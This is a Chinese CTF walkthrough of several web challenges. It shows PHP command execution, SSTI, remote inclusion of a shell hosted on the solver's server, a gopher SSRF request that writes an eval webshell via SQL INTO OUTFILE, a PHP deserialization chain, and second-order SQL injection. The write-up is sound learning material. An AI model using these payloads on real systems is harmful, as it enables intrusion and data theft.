云曦26开学考复现

hello_rce

查看当前目录:

php 复制代码
print_r(scandir('.'));
print_r(scandir(dirname(__FILE__)));

查看flag文件:

php 复制代码
call_user_func('passthru','base64${IFS}flag');
call_user_func('passthru','tac${IFS}flag');

新东西

输入:

{{lipsum.globals .os.popen('ls').read()}}

输入:

{{lipsum.globals.os.popen('ls /').read()}}

输入:

{{lipsum.globals .os.popen('cat /flag').read()}}

让我看看


连接肉机

ssh root@172.16.17.201 -p 50101

打开心怡的文件夹

echo '<?php phpinfo() ?>' > shell

ifconfig或ip add

查到内网中本机ip是172.1.1.9

用python打开9000端口

python3 -m http.server 9000

尝试远程包含

ip转十六进制

172.1.1.9->0xac010109

包含文件:http://0xac010109:9000/ashell

网页源码查看器

输入:dict://127.0.0.1:6379/info

file:///var/www/html/index.php

都被过滤了

输入127.0.0.1

扫网站:

访问/internal.php

输入:

127.0.0.1/internal.php和/db.php

db.php似乎可以用,创建html文件

似乎可以用这个和sql数据库交流

得到MYSQL的信息

发送:

gopher://127.0.0.1:3306/_a

返回报错

说明gopher协议有戏

bp抓包,输入payload:

gopher%3a//127.0.0.1%3a80/_POST%2520/db.php%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application/x-www-form-urlencoded%250D%250AContent-Length%253A%252074%250D%250A%250D%250Asql%253Dselect%2520'%253C%253Fphp%2520%2540eval(%2524_POST%255B8%255D)%253B%253F%253E'%2520INTO%2520OUTFILE%2520'%252Fvar%252Fwww%252Fhtml%252F10.php'%250D%250A

这个payload被进行了两次url编码:

原本的包:

bash 复制代码
gopher://127.0.0.1:80/_POST /db.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 74

sql=select '<?php @eval($_POST[8]);?>' INTO OUTFILE '/var/www/html/10.php'

第一次编码后:

bash 复制代码
gopher://127.0.0.1:80/_POST%20/db.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2074%0D%0A%0D%0Asql%3Dselect%20'%3C%3Fphp%20%40eval(%24_POST%5B8%5D)%3B%3F%3E'%20INTO%20OUTFILE%20'%2Fvar%2Fwww%2Fhtml%2F10.php'%0D%0A

再编码一次得到目标payload

原因:

第一次URL将URL中的特殊字符进行转义,以便于传输和解析。

第二次编码是为了让Gopher协议能够正常解析,因为Gopher协议使用的ASCII编码。需要将URL中的所有字符都转换为ASCII码的可打印字符,才能被Gopher协议正确解析。

直接10.php连接蚁剑

你已急哭

php 复制代码
<?php
error_reporting(0);

highlight_file(__FILE__);

class Entry {
    public $handler;

    public function __destruct() {
        if (isset($this->handler)) {
            echo "你已急哭";
            $result = $this->handler->handle();
            echo $result;
        }
    }
}

class Processor {
    public $callback;
    public $argument;

    public function handle() {
        if (is_object($this->callback)) {
            echo "哟,不错嘛";
            $result = ($this->callback)($this->argument);
            return $result;
        }
        echo "Processor::handle() callback不是对象!";
        return "Invalid handler!";
    }
}

class FileReader {
    public $filename;

    public function __invoke($arg) {
        echo "加油啊,终点就在前方了!";

        if ($this->filename === "/f1ag.php") {
            echo "666,这还说啥了,flag给你了。";
            $flag = getenv('FLAG');
            echo "Flag: " . $flag . "";
            return "";
        } else if (file_exists($this->filename)) {
            echo "文件存在,但不是目标文件...";
            return file_get_contents($this->filename);
        }
        echo "文件不存在!";
        return "File not found!";
    }
}

class Logger {
    public $logfile;
    public $content;

    public function __toString() {
        return "Logger output!";
    }

    public function handle() {
        return "Logger handler!";
    }
}

if (isset($_GET['data'])) {
    $data = $_GET['data'];

    if (strlen($data) > 1000) {
        die("[-] Payload太长!");
    }

    unserialize($data);
} else {
    echo "提交方式: ?data=你的payload";
}

//Hint: 目标文件路径是 /f1ag.php
  1. Entry 类
    __destruct() 魔术方法:对象销毁时自动调用
    检查 this-\>handler 是否存在,存在则调用 this->handler->handle()
  2. Processor 类
    handle() 方法:检查 this−>callback是否为对象,如果是则将其作为函数调用(this->callback 是否为对象,如果是则将其作为函数调用 (this−>callback是否为对象,如果是则将其作为函数调用(this->callback)($this->argument)
  3. FileReader 类
    __invoke() 魔术方法:对象被当作函数调用时触发
    关键逻辑:如果 $this->filename === "/f1ag.php",则输出环境变量 FLAG
  4. Logger 类
    干扰类,没有利用价值

思路:

bash 复制代码
销毁unserialize($data);触发__destruct()
$handler=Processor
$result = $this->handler->handle();echo $result;对象被当函数调用,调用handle()
$callback=FileReader;$argument=null
$result = ($this->callback)($this->argument);return $result;调用FileReader()
触发__invoke($arg)
关键在于$filename=/f1ag.php,所以arg是什么不重要

?data=O:5:"Entry":1:{s:7:"handler";O:9:"Processor":2:{s:8:"callback";O:10:"FileReader":1:{s:8:"filename";s:9:"/f1ag.php";};s:8:"argument";s:3:"arg";}}

?data=O%3A5%3A%22Entry%22%3A1%3A%7Bs%3A7%3A%22handler%22%3BO%3A9%3A%22Processor%22%3A2%3A%7Bs%3A8%3A%22callback%22%3BO%3A10%3A%22FileReader%22%3A1%3A%7Bs%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Ff1ag.php%22%3B%7D%3Bs%3A8%3A%22argument%22%3Bs%3A3%3A%22arg%22%3B%7D%7D

Shadow Archive System

创建

username:1'

Bio:1'

ID查看3

报错,说明二次注入有戏

创建

Username: 1' select 1,2,3#

Bio: 123

并访问:

创建

Username: 1' union select 1,2#

Bio: 123

并查询

确定列数

创建并打开

Username: 1' union select 1,2,database()#

Bio: 123

创建并打开

Username: 1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like database()#

Bio: 123

创建并打开

Username: 1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name like 'flags'#

Bio: 123

创建并打开

Username: 1' union select 1,2,group_concat(flag) from ctf.flags#

Bio: 123

相关推荐
Y5neKO3 天前
某国赛CTF逆向题目Writeup:re1
python·逆向·ctf
Chen--Xing4 天前
2026SUCTF -- Crypto -- SULattice -- 解题记录
ctf·writeup·crypto·suctf·xctf
Y5neKO5 天前
某国赛CTF逆向题目Writeup:re2
逆向·ctf
努力的lpp6 天前
墨者学院登录密码重置漏洞分析溯源wp
网络·网络安全·ctf
见青..8 天前
[BUUCTF]Misc篇wp
网络安全·ctf·misc·buuctf
xin^_^8 天前
PolarD&N[web困难]部分题解
ctf
ShoreKiten9 天前
SSTI专题(持续更新)
web·ctf·ssti·模板注入